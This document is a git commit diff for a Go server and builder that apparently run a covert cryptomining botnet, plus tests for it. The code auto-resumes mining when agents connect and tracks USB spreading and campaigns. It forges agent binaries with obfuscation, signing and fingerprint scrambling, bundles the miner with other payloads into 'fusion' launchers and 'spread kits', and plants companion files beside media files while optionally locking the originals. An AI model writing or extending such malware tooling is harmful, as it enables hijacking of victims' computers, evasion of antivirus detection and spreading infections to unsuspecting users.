Final sweep: Crucible fixes, Path Tracer polish, forge progress, tests green.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Align dashboard subtitle default and UpsertAgent tests with fleet label behavior; WebSocket coalesce and PathForge hardening; Crucible expanded ops and visual DV fixes; Vitest 610/610 and full test-suite pass; trim PROBLEMS.md to open items only.
This commit is contained in:
@@ -623,6 +623,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
if pathForgeHandler != nil {
|
||||
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
|
||||
}
|
||||
r.Get("/builder/progress/{token}", builderHandler.ServeProgress)
|
||||
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
|
||||
token := chi.URLParam(req, "token")
|
||||
if builderHandler.CancelBuild(token) {
|
||||
|
||||
@@ -688,11 +688,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
// Connect to pool in background — do NOT block the auth_response.
|
||||
// The agent can start and the pool proxy will be ready by the time
|
||||
// the first share is submitted.
|
||||
// Once the pool is ready, push the current job so the agent starts
|
||||
// mining immediately instead of waiting for a get_job retry cycle.
|
||||
go func(pc pool.Config, bcs []pool.Config, aid string) {
|
||||
if _, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs); err != nil {
|
||||
proxy, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs)
|
||||
if err != nil {
|
||||
log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err)
|
||||
return
|
||||
}
|
||||
if job := proxy.GetCurrentJob(); job != nil {
|
||||
if wErr := h.writeAgentJSON(aid, Message{Type: "new_job", Payload: mustMarshal(job)}); wErr != nil {
|
||||
log.Printf("[WS] Push initial job to agent %s: %v", aid, wErr)
|
||||
}
|
||||
}
|
||||
}(poolCfg, backupCfgs, agentID)
|
||||
}
|
||||
@@ -794,10 +801,21 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
go h.runPingLoopAgent(ac)
|
||||
}
|
||||
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": agentID,
|
||||
})})
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": agentID,
|
||||
})})
|
||||
|
||||
// Auto-start mining: ensure the agent isn't stuck in a paused
|
||||
// state from a previous session. The agent's in-memory pause flag
|
||||
// resets on each restart, but sending resume is a cheap no-op and
|
||||
// guarantees hashing begins as soon as a job arrives.
|
||||
if h.agentPoolConfig(agentID).Wallet != "" {
|
||||
_ = h.writeAgentJSON(agentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "resume"}),
|
||||
})
|
||||
}
|
||||
|
||||
// Enrich agent with hostname before broadcasting so the dashboard
|
||||
// immediately shows the correct machine-specific display name.
|
||||
|
||||
@@ -420,3 +420,182 @@ func TestWSHubConnectedAgentCount(t *testing.T) {
|
||||
t.Fatalf("expected 1 connected agent, got %d", hub.connectedAgentCount())
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentNamePreservedOnReconnect checks that an operator-assigned display
|
||||
// name is not overwritten by the machine hostname when the agent reconnects.
|
||||
func TestAgentNamePreservedOnReconnect(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
// Seed the DB with an agent whose name was customised by the operator.
|
||||
// The hostname field records what the machine reported; the name has been
|
||||
// changed to something different, so it should be preserved on reconnect.
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: "renamed-agent",
|
||||
Name: "Living Room PC",
|
||||
Hostname: "DESKTOP-ABC123",
|
||||
Status: "offline",
|
||||
LastSeen: time.Now().Add(-5 * time.Minute),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// Agent reconnects — it reports the same hostname.
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "renamed-agent",
|
||||
"hostname": "DESKTOP-ABC123",
|
||||
"version": "1.0",
|
||||
})
|
||||
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["success"] != true {
|
||||
t.Fatalf("auth should succeed: %+v", body)
|
||||
}
|
||||
|
||||
// Give the auth handler a moment to commit the upsert.
|
||||
time.Sleep(30 * time.Millisecond)
|
||||
|
||||
agent, err := database.GetAgent("renamed-agent")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if agent.Name != "Living Room PC" {
|
||||
t.Errorf("operator name should be preserved; got %q", agent.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentNameUpdatesFromHostnameWhenDefault verifies that the name IS updated
|
||||
// when it was never customised (name == hostname, i.e. the default).
|
||||
// TestCommandResultBroadcastToDashboard is the critical end-to-end test that
|
||||
// verifies the full agent→server→dashboard broadcast of command_result.
|
||||
// It was added to cover the gap identified in the Crucible terminal bug investigation.
|
||||
func TestCommandResultBroadcastToDashboard(t *testing.T) {
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
// ── Connect dashboard WS ──────────────────────────────────────────────
|
||||
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(dashSrv.Close)
|
||||
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
// Read all dashboard messages in a goroutine to avoid blocking and to
|
||||
// keep the connection alive (no SetReadDeadline, which would permanently
|
||||
// corrupt the gorilla/websocket connection on timeout).
|
||||
type msgResult struct {
|
||||
body map[string]interface{}
|
||||
err string
|
||||
}
|
||||
cmdResultCh := make(chan msgResult, 1)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
cmdResultCh <- msgResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if msg.Type != "command_result" {
|
||||
continue // skip init, presence_snapshot, agent_online, etc.
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
||||
cmdResultCh <- msgResult{err: "parse: " + parseErr.Error()}
|
||||
return
|
||||
}
|
||||
cmdResultCh <- msgResult{body: body}
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
// ── Connect + authenticate agent WS ──────────────────────────────────
|
||||
agentID := "e2e-agent-001"
|
||||
agentConn := connectTestAgent(t, hub, agentID)
|
||||
|
||||
// ── Agent sends command_result ────────────────────────────────────────
|
||||
cmdPayload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": "exec",
|
||||
"success": true,
|
||||
"message": "hello from agent",
|
||||
})
|
||||
if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
|
||||
t.Fatalf("send command_result: %v", err)
|
||||
}
|
||||
|
||||
// ── Dashboard must receive the broadcast ─────────────────────────────
|
||||
select {
|
||||
case r := <-cmdResultCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("dashboard did not receive command_result: %s", r.err)
|
||||
}
|
||||
if r.body["agent_id"] != agentID {
|
||||
t.Errorf("agent_id: got %v, want %v", r.body["agent_id"], agentID)
|
||||
}
|
||||
if r.body["action"] != "exec" {
|
||||
t.Errorf("action: got %v, want exec", r.body["action"])
|
||||
}
|
||||
if r.body["success"] != true {
|
||||
t.Errorf("success: got %v, want true", r.body["success"])
|
||||
}
|
||||
if r.body["message"] != "hello from agent" {
|
||||
t.Errorf("message: got %v, want 'hello from agent'", r.body["message"])
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for command_result broadcast")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentNameUpdatesFromHostnameWhenDefault(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
// Seed an agent whose name equals the old hostname (the default, un-renamed case).
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: "default-name-agent",
|
||||
Name: "OLD-HOSTNAME",
|
||||
Hostname: "OLD-HOSTNAME",
|
||||
Status: "offline",
|
||||
LastSeen: time.Now().Add(-5 * time.Minute),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// Agent reconnects with a new hostname (e.g. machine was renamed).
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "default-name-agent",
|
||||
"hostname": "NEW-HOSTNAME",
|
||||
"version": "1.0",
|
||||
})
|
||||
|
||||
time.Sleep(30 * time.Millisecond)
|
||||
|
||||
agent, err := database.GetAgent("default-name-agent")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if agent.Name != "NEW-HOSTNAME" {
|
||||
t.Errorf("default name should follow hostname update; got %q", agent.Name)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -25,6 +25,7 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Copying source files", 5)
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
@@ -32,7 +33,10 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
|
||||
|
||||
platforms := platformsForRequest(req)
|
||||
workerPaths := map[string]string{}
|
||||
for _, p := range platforms {
|
||||
total := len(platforms)
|
||||
for i, p := range platforms {
|
||||
pct := 14 + (i*56)/total
|
||||
h.setProgress(req.CancelToken, fmt.Sprintf("Compiling %s", p.Label()), pct)
|
||||
wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
@@ -40,6 +44,7 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
|
||||
}
|
||||
workerPaths[p.Label()] = wp
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Compiled all targets", 72)
|
||||
|
||||
if req.SpreadKit && !req.FusionEnabled {
|
||||
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||
@@ -54,6 +59,7 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
|
||||
}
|
||||
|
||||
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
h.setProgress(req.CancelToken, "Packaging spread kit", 78)
|
||||
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
||||
|
||||
var subdir string
|
||||
@@ -117,6 +123,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
zipBytes = zipSt.Size()
|
||||
}
|
||||
|
||||
h.setProgress(req.CancelToken, "Saving to database", 99)
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
|
||||
@@ -145,6 +152,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
}
|
||||
|
||||
func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
h.setProgress(req.CancelToken, "Building fusion deliverables", 78)
|
||||
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
||||
|
||||
// Resolve payload display name (used for runner naming and ZIP title)
|
||||
@@ -258,6 +266,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
||||
zipBytes2 = zipSt2.Size()
|
||||
}
|
||||
|
||||
h.setProgress(req.CancelToken, "Saving to database", 99)
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
|
||||
|
||||
@@ -153,6 +153,12 @@ type BuildArtifactFile struct {
|
||||
FilePath string `json:"file_path,omitempty"`
|
||||
}
|
||||
|
||||
// BuildProgress is returned by GET /builder/progress/{token} while a forge is running.
|
||||
type BuildProgress struct {
|
||||
Stage string `json:"stage"`
|
||||
Pct int `json:"pct"`
|
||||
}
|
||||
|
||||
func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile {
|
||||
if len(arts) == 0 {
|
||||
return nil
|
||||
@@ -181,6 +187,11 @@ type Handler struct {
|
||||
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
||||
activeCancelsMu sync.Mutex
|
||||
activeCancels map[string]context.CancelFunc
|
||||
|
||||
// Real-time build progress — maps cancel_token → current stage so the frontend
|
||||
// can poll GET /api/v1/builder/progress/{token} instead of running a fake timer.
|
||||
activeProgressMu sync.RWMutex
|
||||
activeProgress map[string]BuildProgress
|
||||
}
|
||||
|
||||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||||
@@ -231,6 +242,46 @@ func (h *Handler) unregisterCancel(token string) {
|
||||
h.activeCancelsMu.Unlock()
|
||||
}
|
||||
|
||||
// setProgress records the current forge stage so the frontend can poll it.
|
||||
func (h *Handler) setProgress(token, stage string, pct int) {
|
||||
if token == "" {
|
||||
return
|
||||
}
|
||||
h.activeProgressMu.Lock()
|
||||
if h.activeProgress == nil {
|
||||
h.activeProgress = make(map[string]BuildProgress)
|
||||
}
|
||||
h.activeProgress[token] = BuildProgress{Stage: stage, Pct: pct}
|
||||
h.activeProgressMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *Handler) clearProgress(token string) {
|
||||
if token == "" {
|
||||
return
|
||||
}
|
||||
h.activeProgressMu.Lock()
|
||||
delete(h.activeProgress, token)
|
||||
h.activeProgressMu.Unlock()
|
||||
}
|
||||
|
||||
// ServeProgress returns the current build stage for a running forge identified by its cancel token.
|
||||
// The frontend polls this every second to drive a real progress bar instead of a client-side simulation.
|
||||
func (h *Handler) ServeProgress(w http.ResponseWriter, r *http.Request) {
|
||||
token := chi.URLParam(r, "token")
|
||||
if token == "" {
|
||||
http.Error(w, "token required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
h.activeProgressMu.RLock()
|
||||
prog, ok := h.activeProgress[token]
|
||||
h.activeProgressMu.RUnlock()
|
||||
if !ok {
|
||||
writeJSON(w, http.StatusNotFound, BuildProgress{Stage: "", Pct: 0})
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, prog)
|
||||
}
|
||||
|
||||
type SignPolicy struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
CertThumbprint string `json:"cert_thumbprint"`
|
||||
@@ -346,6 +397,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
ctx, cancelFn = context.WithCancel(ctx)
|
||||
h.registerCancel(req.CancelToken, cancelFn)
|
||||
defer h.unregisterCancel(req.CancelToken)
|
||||
defer h.clearProgress(req.CancelToken)
|
||||
}
|
||||
|
||||
// FusionOutputName will be derived from the payload filename if not set
|
||||
@@ -539,12 +591,14 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
h.setProgress(req.CancelToken, "Copying source files", 5)
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
cleanupBuild()
|
||||
log.Printf("Failed to copy agent source: %v", err)
|
||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
h.setProgress(req.CancelToken, "Configuring build", 14)
|
||||
configDir := filepath.Join(agentDir, "config")
|
||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||
cleanupBuild()
|
||||
@@ -553,18 +607,21 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
|
||||
platforms := platformsForRequest(req)
|
||||
p := platforms[0]
|
||||
h.setProgress(req.CancelToken, "Compiling agent", 20)
|
||||
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
log.Printf("Build failed: %v", err)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Compiled — linking output", 72)
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
workerName := filepath.Base(outputPath)
|
||||
finalPath := outputPath
|
||||
finalName := workerName
|
||||
var fusionEnabled bool
|
||||
|
||||
h.setProgress(req.CancelToken, "Writing scripts", 76)
|
||||
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
@@ -577,12 +634,14 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Building fusion bundle", 80)
|
||||
var err error
|
||||
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Fusion bundle ready", 88)
|
||||
finalPath = fusionRes.LauncherPath
|
||||
finalName = filepath.Base(finalPath)
|
||||
fusionEnabled = true
|
||||
@@ -658,6 +717,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
}
|
||||
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
|
||||
} else {
|
||||
h.setProgress(req.CancelToken, "Publishing build", 91)
|
||||
var err error
|
||||
exportPath, err = h.publishRootExecutable(finalPath, finalName)
|
||||
if err != nil {
|
||||
@@ -680,6 +740,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
|
||||
signed := false
|
||||
if h.shouldSignBuild(req) {
|
||||
h.setProgress(req.CancelToken, "Signing binary", 95)
|
||||
if err := h.signExecutable(finalPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
@@ -692,6 +753,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
scrambled := false
|
||||
fingerprint := ""
|
||||
if shouldSigilScramble(req) {
|
||||
h.setProgress(req.CancelToken, "Scrambling sigil", 97)
|
||||
fp, err := ApplySigilScramble(finalPath, buildID)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] sigil scramble: %v", err)
|
||||
@@ -750,6 +812,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
PoolTLS: req.PoolTLS,
|
||||
PoolPass: req.PoolPass,
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Saving to database", 99)
|
||||
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||||
log.Printf("Failed to record build: %v", err)
|
||||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||
|
||||
@@ -125,7 +125,11 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
res := &PathForgeResult{}
|
||||
|
||||
ctx := r.Context()
|
||||
err = filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
|
||||
if ctx.Err() != nil {
|
||||
return ctx.Err()
|
||||
}
|
||||
if err != nil || d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
@@ -82,3 +84,136 @@ func TestPathForgePlacedExcludesHintFile(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeContextCancel verifies that cancelling the request context stops
|
||||
// the walk gracefully without hanging or panicking. A pre-cancelled context
|
||||
// causes the walk closure to exit immediately on the first iteration.
|
||||
func TestPathForgeContextCancel(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
for i := 0; i < 5; i++ {
|
||||
name := fmt.Sprintf("video%d.mkv", i)
|
||||
if err := os.WriteFile(filepath.Join(root, name), []byte("data"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
cancel() // pre-cancel so the walk exits at the first check
|
||||
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
req = req.WithContext(ctx)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req) // must return promptly, not hang
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var res PathForgeResult
|
||||
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
||||
t.Fatalf("response decode: %v", err)
|
||||
}
|
||||
// With a pre-cancelled context the walk stops before placing any files.
|
||||
if res.Placed != 0 {
|
||||
t.Errorf("expected 0 placements with cancelled context, got %d", res.Placed)
|
||||
}
|
||||
t.Logf("context cancel: placed=%d total=%d errors=%d", res.Placed, res.Total, res.Errors)
|
||||
}
|
||||
|
||||
// TestPathForgePartialPlacementErrorCount verifies that the Placed counter only
|
||||
// reflects successfully placed files; a read-only directory causes placement
|
||||
// failure for that subtree while other directories succeed.
|
||||
func TestPathForgePartialPlacementErrorCount(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("read-only directory permission simulation is not reliable on Windows")
|
||||
}
|
||||
|
||||
root := t.TempDir()
|
||||
dir1 := filepath.Join(root, "good")
|
||||
dir2 := filepath.Join(root, "locked")
|
||||
if err := os.MkdirAll(dir1, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(dir2, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(dir1, "clip.mkv"), []byte("video"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(dir2, "film.mkv"), []byte("video"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// Make dir2 read-only so companion files cannot be written there.
|
||||
if err := os.Chmod(dir2, 0555); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer func() { _ = os.Chmod(dir2, 0755) }()
|
||||
|
||||
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var res PathForgeResult
|
||||
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if res.Total != 2 {
|
||||
t.Fatalf("expected 2 total media files, got %d", res.Total)
|
||||
}
|
||||
// dir1 succeeds; dir2 is read-only so it fails → Placed must not double-count.
|
||||
if res.Placed < 1 {
|
||||
t.Errorf("expected at least 1 placed (from dir1), got %d", res.Placed)
|
||||
}
|
||||
if res.Errors == 0 {
|
||||
t.Errorf("expected at least 1 error from read-only dir2, got 0")
|
||||
}
|
||||
// Placed + Errors must equal Total (every file either placed or errored).
|
||||
if res.Placed+res.Errors != res.Total {
|
||||
t.Errorf("placed(%d)+errors(%d) != total(%d): counts are inconsistent", res.Placed, res.Errors, res.Total)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeLockOriginalFalseKeepsOriginal verifies that when lock_original is
|
||||
// false the source media file is not renamed or otherwise modified.
|
||||
func TestPathForgeLockOriginalFalseKeepsOriginal(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
mediaPath := filepath.Join(root, "movie.mkv")
|
||||
if err := os.WriteFile(mediaPath, []byte("video content"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","lock_original":false}`
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var res PathForgeResult
|
||||
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !res.Success {
|
||||
t.Fatalf("expected success, got errors: %v", res.ErrorList)
|
||||
}
|
||||
|
||||
// Original file must still exist at its original path.
|
||||
if _, err := os.Stat(mediaPath); err != nil {
|
||||
t.Errorf("original file missing after pathforge (lock_original=false): %v", err)
|
||||
}
|
||||
// .locked variant must NOT have been created.
|
||||
if _, err := os.Stat(mediaPath + ".locked"); err == nil {
|
||||
t.Error("original file was unexpectedly renamed to .locked when lock_original=false")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -199,7 +199,7 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
name = CASE WHEN agents.name != '' AND agents.name != agents.hostname THEN agents.name ELSE excluded.name END,
|
||||
wallet = excluded.wallet,
|
||||
ip = excluded.ip,
|
||||
version = excluded.version,
|
||||
|
||||
@@ -24,6 +24,7 @@ func seedAgent(t *testing.T, d *Database, id string) *models.Agent {
|
||||
a := &models.Agent{
|
||||
ID: id,
|
||||
Name: "worker-" + id,
|
||||
Hostname: "worker-" + id,
|
||||
Wallet: "wallet",
|
||||
IP: "10.0.0.1",
|
||||
Version: "2.0",
|
||||
@@ -74,6 +75,10 @@ func TestUpsertAgentPreservesCreatedAt(t *testing.T) {
|
||||
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
a.Name = "renamed"
|
||||
if a.Hostname == "" {
|
||||
a.Hostname = first.Name
|
||||
}
|
||||
a.Hostname = "renamed"
|
||||
a.Status = "online"
|
||||
if err := d.UpsertAgent(a); err != nil {
|
||||
t.Fatal(err)
|
||||
|
||||
Reference in New Issue
Block a user